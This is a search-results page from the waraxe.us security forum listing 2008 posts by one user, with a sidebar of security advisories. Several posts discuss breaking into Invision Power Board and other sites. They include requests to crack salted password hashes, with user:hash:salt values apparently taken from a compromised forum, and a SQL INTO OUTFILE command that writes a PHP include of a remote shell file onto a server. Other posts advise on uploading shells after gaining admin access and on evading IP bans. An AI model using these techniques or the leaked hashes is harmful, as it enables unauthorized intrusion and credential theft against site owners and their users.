Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: August 31, 2026 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 536 Members: 0 Total: 536 Full disclosure CyberDanube Security Research 20260611-0 | Multiple Denial of Service Vulnerabilities in Dahua IPC/SD/NVR/XVR/EVS/VTO/VT H/ASI/TPC Camera Series Multiple Integer Overflows in U-Boot Filesystem Parsing(CVE-2025-70290 through CVE-2025-70293) [ADVISORY] Multiple Integer Overflows in U-Boot FilesystemParsing (CVE-2025-70290 through CVE-2025-70293) JSON Deserialiser Unconstrained Resource Consumption Proof ofConcept Dovecot Security Advisory 3/2026 FD - Half-click unauthenticated remote code execution on Horde Groupware IMP (from a stored XSS) [NotCVE-2026-0013] CHIRP Kenwood ITM Driver Eval Injection Allows Arbitrary Code Execution via Crafted Radio File [NotCVE-2026-0012] EmpManageX Hardcoded Administrative Credentials in Login API Allow Full Access to Employee Records [NotCVE-2026-0011] Nmap 7.99 and Earlier nselib/packet.lua Zero-Length TCP Option Infinite Loop Allows Remote Denial of Service [NotCVE-2026-0010] Barrier 2.4.0 for Windows Unauthenticated IPC Command Execution Allows Local Privilege Escalation to SYSTEM [NotCVE-2026-0009] NitroShare Desktop 0.3.4 Path Traversal Allows LAN-Adjacent Arbitrary File Write Escargot v4.3.0-214-gfaee4437 Unauthenticated Remote Debugger Allows Arbitrary JavaScript Evaluation and Local File Disclosure Escargot v4.3.0-214-gfaee4437 OS Command Injection in Crash Handler via Unsanitized Executable Path Escargot v4.3.0-214-gfaee4437 Debugger WebSocket Off-by-One Stack Buffer Overflow UltraJSON v5.13.0-6-g733f9e1 Length-Boundary Violation Causes Out-of-Bounds Read During Incomplete JSON Parsing IT Security and Insecurity Portal www.waraxe.us Forum Index Search found 24 matches IPB <= 2.3.5 sql injection exploit (new version 1.2) Forum:Invision Power Board Posted: Thu Dec 25, 2008 8:49 pm Subject: IPB <= 2.3.5 sql injection exploit (new version 1.2) epro Replies: 79 Views: 177141 Hello, is it possibility to get admin passhash and salt with SQL injection, not exploit, because I have vulnerable forum, but exploit don't want to work.. So? Brute forcing improving ideas... Forum:General discussion Posted: Fri Oct 31, 2008 12:38 pm Subject: Brute forcing improving ideas... epro Replies: 5 Views: 11253 Yes, for thing like you said is wordlists! Bruteforce aim is to check all possibilities to find password! No clever algorithm! Just numbers, letters and special symbols! Help anyone?? Ipboard hash+Salt Forum:All other hashes Posted: Wed Oct 29, 2008 10:54 am Subject: Help anyone?? Ipboard hash+Salt epro Replies: 10 Views: 16788 You are writting incorect algorithm. IPB uses md5(md5($salt).md5($pass)) [PHP] not simply md5! How check the IPB version?? Forum:Invision Power Board Posted: Tue Oct 28, 2008 7:49 pm Subject: How check the IPB version?? epro Replies: 2 Views: 13542 Invision Power Board 1.3 For this version there are directories and files like these: /html/emoticons/ /fonts/ /Skin/ /ssi_templates/ ssi.php show.php css.php conf_mime_types.php Invision ... IPB salted hashes Forum:All other hashes Posted: Tue Oct 28, 2008 5:30 pm Subject: IPB salted hashes epro Replies: 3 Views: 7503 few more: can somebody please crack them? 9d6268f371d6a0f893c9f31542651528:%'9DI d61a710176fc40bf5ef80b094bbe135c:Ib]gB cb8c14a79dcdf3df13aa173585915105:>fL2f 5f6699986e12f2a5640cb8f7bb37411d ... Shell on IPB 2.3.5 Forum:Invision Power Board Posted: Tue Oct 28, 2008 5:10 pm Subject: Shell on IPB 2.3.5 epro Replies: 6 Views: 13761 I can't explain you this onw, but I can show one other, which is working very well! Go to "Tools & Settings", select any of them, then press "Add New Setting", then in line "Raw PHP code to eva ... IPB salted hashes Forum:All other hashes Posted: Mon Oct 27, 2008 5:31 pm Subject: IPB salted hashes epro Replies: 3 Views: 7503 BIG thanks to you! IPB salted hashes Forum:All other hashes Posted: Mon Oct 27, 2008 11:58 am Subject: IPB salted hashes epro Replies: 3 Views: 7503 Hello, I have few salted hashes that I need to be decrypted. user:hash:salt tnet:2129115fc56adeca6b56ea8e35047327:8t"l# aKa:8c1f077556b15d0089b2a54e155180ab:xmmR= Mo4itajs:f8170ff8d027602a ... Shell on IPB 2.3.5 Forum:Invision Power Board Posted: Sun Oct 26, 2008 4:11 pm Subject: Shell on IPB 2.3.5 epro Replies: 6 Views: 13761 Hy, I get admin password in IPB 2.3.5 forum and I tried to upload shell. I tried sql command in sql toolbox: SELECT '<? @include("http://myhost/w4priv.php"); ?>' INTO OUTFILE '/opt/hosting/somet ... sql injection done.. then? Forum:Newbies corner Posted: Wed Oct 15, 2008 6:00 pm Subject: sql injection done.. then? epro Replies: 2 Views: 7241 This username/password is for web page were the injection was. So you need to find admin login page/ maybe user login page works too. Then in Admin Panel you look for uploading page or something like ... Interesting problem (PHPBB 2.0.11) Forum:Newbies corner Posted: Sat Jul 12, 2008 7:29 am Subject: Interesting problem (PHPBB 2.0.11) epro Replies: 2 Views: 8315 If you are banned on IP, then no cookies will be working, because you are BANNED. You need to use proxy and then try cookie hack (I don't know for what versions does it work), maybe try some other hac ... sql injection i need little bit help Forum:Sql injection Posted: Sat Jul 12, 2008 7:19 am Subject: sql injection i need little bit help epro Replies: 2 Views: 10036 Simply, the server administrator is smart an you cannot read mysql.user or information_shema or other tables where are BIG information.. But you can guess table names from that web page, and then ... SQL Injection Issue Forum:Sql injection Posted: Fri Jul 11, 2008 5:07 pm Subject: SQL Injection Issue epro Replies: 5 Views: 10814 OK, I already thought so. So: with this injection, I found that the prefix for g2_User is creatiff. http://*****.org/kom.php?akcja=dodaj&parentid=0+union+select+1,UNHEX(HEX(table_sc ... SQL Injection Issue Forum:Sql injection Posted: Fri Jul 11, 2008 2:53 pm Subject: SQL Injection Issue epro Replies: 5 Views: 10814 Maybe thers prefix.. :/ If you give me site via PM, I can try some injections to see, are there prefix or not.. :/ MD5 Hash Help Needed! Forum:MD5 hashes Posted: Sat Jul 05, 2008 2:54 pm Subject: MD5 Hash Help Needed! epro Replies: 15 Views: 29441 Ok I can't crack any more hashes.. :/ Page 1 of 2 Goto page 1, 2Next All times are GMT Select a forumSecurity Research by waraxe----------------General discussionHow to fixMetasploit relatedHash cracking requests----------------MD5 hashesAll other hashesHash related informationhttp://www.waraxe.us portal----------------SuggestionsCooperation proposalsSecurity bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holesVarious software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo GalleryProgramming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssemblerReverse engineering----------------Newbies cornerDisassemblingPHP script decode requestsMiscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy databaseDirect Downloads----------------ToolsTutorialsWordlistsRecycle Bin----------------Removed messagesOutdated posts Powered by phpBB © 2001-2008 phpBB Group

PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.046 Seconds